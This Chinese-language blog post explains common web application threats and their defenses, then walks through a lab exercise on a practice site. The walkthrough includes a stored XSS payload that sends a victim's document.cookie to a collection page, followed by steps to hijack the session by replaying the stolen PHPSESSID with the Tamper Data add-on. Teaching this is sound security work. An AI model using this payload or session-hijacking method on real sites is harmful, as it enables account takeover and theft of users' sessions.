Wednesday, December 19, 2018

实战教你网站攻击原理及如何防御网站攻击

提到网络攻击首先我们看看两个问题。什么是网络应用程序?什么是网络威胁?
黑客
Web应用程序(aka网站)是基于客户端 - 服务器模型的应用程序。服务器提供数据库访问和业务逻辑。它托管在Web服务器上。客户端应用程序在客户端Web浏览器上运行。Web应用程序通常用Java,C#和VB.Net,PHP,ColdFusion标记语言等语言编写.Web应用程序中使用的数据库引擎包括MySQL,MS SQL Server,PostgreSQL,SQLite等.
From: http://netsecurity.51cto.com/art/201812/588555.htm
大多数Web应用程序都托管在可通过Internet访问的公共服务器上。这使得它们易于访问,因此容易受到攻击。以下是常见的Web应用程序威胁。
  • SQL注入 - 此威胁的目标可能是绕过登录算法,破坏数据等。人话:走后门
  • 拒绝服务攻击 - 此威胁的目标可能是拒绝合法用户访问资源。人话:堵门
  • 跨站点脚本XSS - 此威胁的目标可能是注入可在客户端浏览器上执行的代码。
  • Cookie /会话中毒 - 此威胁的目标是通过攻击者修改Cookie /会话数据以获取未经授权的访问权限。
  • 表格篡改 - 此威胁的目标是修改表单数据,例如电子商务应用程序中的价格,以便攻击者可以以较低的价格获得物品。
  • 代码注入 - 此威胁的目标是注入可在服务器上执行的PHP,Python等代码。代码可以安装后门,泄露敏感信息等。
  • 破坏 - 此威胁的目标是修改网站上显示的页面,并将所有页面请求重定向到包含攻击者消息的单个页面。
接下来我们该如何保护您的网站免受黑客攻击?
组织可以采用以下策略来保护自己免受Web服务器攻击。
  • SQL注入 - 在将用户参数提交到数据库进行处理之前清理和验证用户参数有助于降低通过SQL注入攻击的可能性。MS SQL Server,MySQL等数据库引擎支持参数和预处理语句。它们比传统的SQL语句更安全
  • 拒绝服务攻击 -如果攻击是简单的DoS,则可以使用防火墙从可疑IP地址中删除流量。正确配置网络和入侵检测系统还有助于降低DoS攻击成功的可能性。
  • 跨站点脚本 -验证和清理标头,通过URL传递的参数,表单参数和隐藏值可以帮助减少XSS攻击。
  • Cookie /会话中毒 - 可以通过加密Cookie的内容,在一段时间后将Cookie超时,将Cookie与用于创建Cookie的客户端IP地址相关联来防止这种情况。
  • 表单回火 -这可以通过在处理之前验证和验证用户输入来防止。
  • 代码注入 -可以通过将所有参数视为数据而不是可执行代码来防止这种情况。可以使用清理和验证来实现此目的。
  • 破坏 -一个好的Web应用程序开发安全策略应该确保它密封常用的漏洞来访问Web服务器。在开发Web应用程序时,这可以是操作系统,Web服务器软件和最佳安全实践的正确配置。
最后我们来破解网站
我们将劫持位于www.techpanda.org的Web应用程序的用户会话。我们将使用跨站点脚本来读取cookie会话ID,然后使用它来模拟合法的用户会话。
假设是攻击者可以访问Web应用程序,并且他想劫持使用相同应用程序的其他用户的会话。假设攻击者的访问帐户是有限的,攻击的目标可能是获取对Web应用程序的管理员访问权限。
入门
  • 打开http://www.techpanda.org/
  • 出于实践目的,强烈建议使用SQL注入获取访问权限。
  • 登录电子邮件是[email protected],密码是Password2010
  • 如果您已成功登录,那么您将获得以下仪表板
  • 单击“添加新联系人”
  • 输入以下作为名字
    1. <a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">小莫</a>  
这里,上面的代码使用JavaScript。它添加了一个带onclick事件的超链接。当毫无戒心的用户单击该链接时,该事件将检索PHP cookie会话ID并将其与URL中的会话ID一起发送到snatch_sess_id.php页面。
输入其余详细信息,如下所示:
  • 单击“保存更改”
  • 您的仪表板现在看起来像以下屏幕
  • 由于跨站点脚本代码存储在数据库中,因此每次具有访问权限的用户登录时都会加载它
  • 假设管理员登录并点击显示为Dark的超链接
  • 他/她将获得URL中显示会话ID的窗口注意:脚本可能会将值发送到存储PHPSESSID的某个远程服务器,然后用户重定向回网站,就好像什么都没发生一样。
注意:您获得的值可能与本教程中的值不同,但概念是相同的
使用Firefox和Tamper Data插件进行会话模拟
下面的流程图显示了完成此练习必须采取的步骤。
您将需要此部分的Firefox Web浏览器和Tamper Data插件
  • 打开Firefox并安装add,如下图所示:
  • 搜索篡改数据,然后单击安装,如上所示:
  • 单击接受并安装..
  • 安装完成后,单击立即重新启动
  • 如果未显示,请在Firefox中启用菜单栏
  • 单击工具菜单,然后选择防篡改数据,如下所示
  • 您将获得以下窗口。注意:如果Windows不为空,请点击清除按钮
  • 单击“开始篡改”菜单
  • 切换回Firefox Web浏览器,输入http://www.techpanda.org/dashboard.php,然后按回车键加载页面
  • 您将从Tamper Data中弹出以下内容
  • 弹出窗口有三(3)个选项。“篡改”选项允许您在将HTTP标头信息提交到服务器之前修改它。
  • 点击它
  • 您将看到以下窗口
  • 复制从攻击URL复制的PHP会话ID,并在等号后粘贴它。你的价值现在应该是这样的:
    1. PHPSESSID = 2DVLTIPP2N8LDBN11B2RA76LM2  
  • 单击“确定”按钮
  • 您将再次获得Tamper数据弹出窗口
  • 取消选中要求继续篡改的复选框?
  • 完成后单击“提交”按钮
  • 您应该能够看到仪表板,如下所示注意
  • 我们没有登录,我们使用我们使用跨站点脚本检索的PHPSESSID值来模拟登录会话

No comments: